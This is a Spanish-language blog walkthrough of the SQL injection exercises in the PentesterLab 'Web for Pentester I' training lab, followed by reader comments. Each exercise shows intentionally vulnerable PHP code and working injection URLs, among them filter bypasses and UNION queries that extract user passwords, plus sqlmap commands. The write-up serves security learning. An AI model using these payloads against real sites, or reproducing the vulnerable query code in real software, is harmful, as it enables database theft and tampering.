[Pentesterlab write-up] Web For Pentester I - SQLi

Continuamos con el laboratorio 'Web for pentester' de Pentesterlab, esta vez con el bloque de ejercicios de explotación de SQLi (inyecciones SQL), una oportunidad excelente para empezar a probar (y sobretodo entender) desde la base este tipo de vulnerabilidades.

Ni que decir tiene que la posibilidad de inyectar código SQL en una aplicación web tiene una criticidad máxima ya que cualquier dato de la base de datos puede quedar disponible para ser leído o modificado por un usuario malintencionado.


Ejercicio 1:

En el primer ejercicio al observar el código php del servidor veremos que no hay ningún tipo de validación de entrada sobre el parámetro $_GET["name"]:

SERVIDOR:
<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";    
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
  require_once '../footer.php';
?>
Por lo tanto si inyectamos el siguiente payload:

PAYLOAD:
http://pentesterlab/sqli/example1.php?name=root' or 1=1-- -

la variable $sql será SELECT * FROM users where name='' or 1=1-- -' y el servidor nos devolverá todos los registros de la tabla de usuarios:


Ejercicio 2:

En el siguiente paso veremos que se filtra el carácter de espacio en los datos de entrada:

SERVIDOR:
<?php
  require_once('../header.php');
  require_once('db.php');

    if (preg_match('/ /', $_GET["name"])) {
        die("ERROR NO SPACE");    
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
  require '../footer.php';
?>

Para evadir este sencillo filtro podemos utilizar los caracteres /**/ (comentario) o %09 (tabulador codificado URL):

PAYLOAD:
http://pentesterlab/sqli/example2.php?name=root'%09and%09'1'='1
http://pentesterlab/sqli/example2.php?name=root'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**/3,1),(select/**/passwd/**/from/**/users/**/limit/**/3,1),4,5/**/and/**/'1'='2

También, podríamos intentar detectar la inyección de forma automatizada, normalmente con la herramienta de facto SQLMap con los siguientes parámetros y el tamper (modificador) correspondiente:

SQLMAP:
sqlmap -u &quot;http://pentesterlab/sqli/example2.php?name=root&quot; --dbs --tamper=space2comment


Si bien tener en cuenta que lo mejor es hacerlo de forma manual para saber exactamente qué se está haciendo. Además en el examen del OSCP no se pueden utilizar este tipo de herramientas automatizadas.

Ejercicio 3:

A continuación se utiliza la expresión regular \s+ para filtrar uno o más espacios seguidos:

SERVIDOR:
<?php
    require_once('../header.php');
  require_once('db.php');
    if (preg_match('/\s+/', $_GET["name"])) {
        die("ERROR NO SPACE");    
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>
Por lo que vamos a poder usar los caracteres /**/ (comentario) de antes para volver a inyectar:

PAYLOAD:
http://pentesterlab/sqli/example3.php?name=root'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**/3,1),(select/**/passwd/**/from/**/users/**/limit/**/3,1),4,5/**/and/**/'1'='2

Ejercicio 4:

A partir de ahora ya empiezan a trabajárselo un poquito más y, aunque obsoleta desde MySQL 5.5.0, utilizan la función "mysql_real_escape_string" para prevenir las inyecciones de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a.+

SERVIDOR:
<?php
  require_once('../header.php');
  require_once('db.php');
  $sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result = mysql_query($sql);
    

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>

        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>

Sin embargo fallan en que utilizan el parámetro id como un número entero sin entrecomillarse ('), por lo que todavía sigue siendo vulnerable:

PAYLOAD:
http://pentesterlab/sqli/example4.php?id=2 or 1=1

Evidentemente, en este caso también lo sacaríais con sqlmap sin problemas:

SQLMAP:
sqlmap -u &quot;http://pentesterlab/sqli/example4.php?id=2&quot; --dbs


Ejercicio 5:

En el siguiente ejercicio se utiliza una expresión regular para asegurarse de que el parámetro id introducido es un entero. Lamentablemente el filtro es baldío porque si os fijáis sólo verifica que el INICIO del parámetro id es un entero:

SERVIDOR:
<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^[0-9]+/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");    
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;
    
    $result = mysql_query($sql);

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>


Así que conseguimos el objetivo simplemente poniendo un número entero en el principio del payload.

PAYLOAD:
http://pentesterlab/sqli/example5.php?id=2 or 1=1

Ejercicio 6:

De nuevo existe un error al utilizar el regex. Esta vez el desarrollador ha intentado forzar que el parámetro id TERMINE en entero ($), pero vuelve a cometer un error y esta vez no asegura que el principio sea válido (^):

SERVIDOR:
<?php

   require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/[0-9]+$/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");    
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;

    
    $result = mysql_query($sql);


if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>

Así que nos vale la inyección anterior:

PAYLOAD:
http://pentesterlab/sqli/example6.php?id=2 or 1=1

Ejercicio 7:

Esta vez se comprueba tanto el inicio (^) como el final ($) del parámetro, pero la expresión regular contiene un modificador que permite múltiples líneas (/m).

SERVIDOR:
<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");    
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"];
    
    $result = mysql_query($sql);

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>

Gracias a ésto podemos poner el entero en una línea para que el filtro lo de por válido... y en la siguiente línea (\n encodeado a %0a) añadir la inyección:

PAYLOAD:
http://pentesterlab/sqli/example7.php?id=2%0a or 1=1

Ejercicio 8:

En el ejercicio 8 tenemos que inyectar en una sentencia con 'order by'. Esto representa una dificultad añadida porque no podremos usar comillas simples o dobles ya que si las pusiéramos cogería el valor literal (order by 'id' ordenará literalmente por el nombre 'id' no por valor de la variable 'id').

SERVIDOR:
<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY `";
    $sql .= mysql_real_escape_string($_GET["order"])."`";
    $result = mysql_query($sql);
    
    if ($result) {
        ?>
        <table  class='table table-striped'>
        <tr>
            <th><a href="example8.php?order=id">id</th>
            <th><a href="example8.php?order=name">name</th>
            <th><a href="example8.php?order=age">age</th>
        </tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>

Entonces para que la sentencia tome como variable 'name' tenemos dos opciones:
- ponerla directamente ORDER BY name
- ponerla entre tildes ORDER BY `name`

Por lo que podemos construir el payload de la siguiente manera (%23 es  la almohadilla # encodeada):

PAYLOAD:
http://pentesterlab/sqli/example8.php?order=name`%20%23%20or%20order=name`,`name` 

Ejercicio 9:

El último ejercicio de SQLi es similar al anterior, pero ya no se usan tildes (`) para la variable:

SERVIDOR:
<?php
  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY ";
  $sql .= mysql_real_escape_string($_GET["order"]);
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
        <tr>
            <th><a href="example9.php?order=id">id</th>
            <th><a href="example9.php?order=name">name</th>
            <th><a href="example9.php?order=age">age</th>
        </tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
  require '../footer.php';
?>

En estos casos podemo anidar sentencias IF para generar nuestro payload válido:

PAYLOAD:
http://pentesterlab/sqli/example9.php?order=IF(1,name,age)

Y hasta aquí las inyecciones SQL de este lab.. nos vemos en los siguientes ejercicios ;)

 [Pentesterlab write-ups by Hackplayers] Web For Pentester I:

XSS
SQL Injections
Path traversal, LFI & RFI
Code & Commands Injection
File upload. LDAP & XML attacks

Comentarios

  1. de donde se puede descargar el laboratorio de practicas?

    ResponderEliminar
    Respuestas
    1. https://pentesterlab.com/exercises/web_for_pentester

      or

      https://www.vulnhub.com/entry/pentester-lab-web-for-pentester,71/#

      Eliminar
  2. buenas tardes amigo excelente tu explicacion, solo te quiero preguntar porque en el ejercicio numero 2 debes colocar un operador logico despues del union select.

    tratar de ejecutar un union select de la siguiente manaera y no funciona:

    '/**/union/**/select/**/1,2,3,4,5
    pero si lo hago agregando un operador booleano si trabaj con en la siguiente sentencia.

    '/**/union/**/select/**/1,2,3,4,5/**/or/**/'1'='1

    muchas gracias

    ResponderEliminar
  3. Porque tienes el 4,5 y el '1'='2 en el SQLI ???

    ResponderEliminar

Publicar un comentario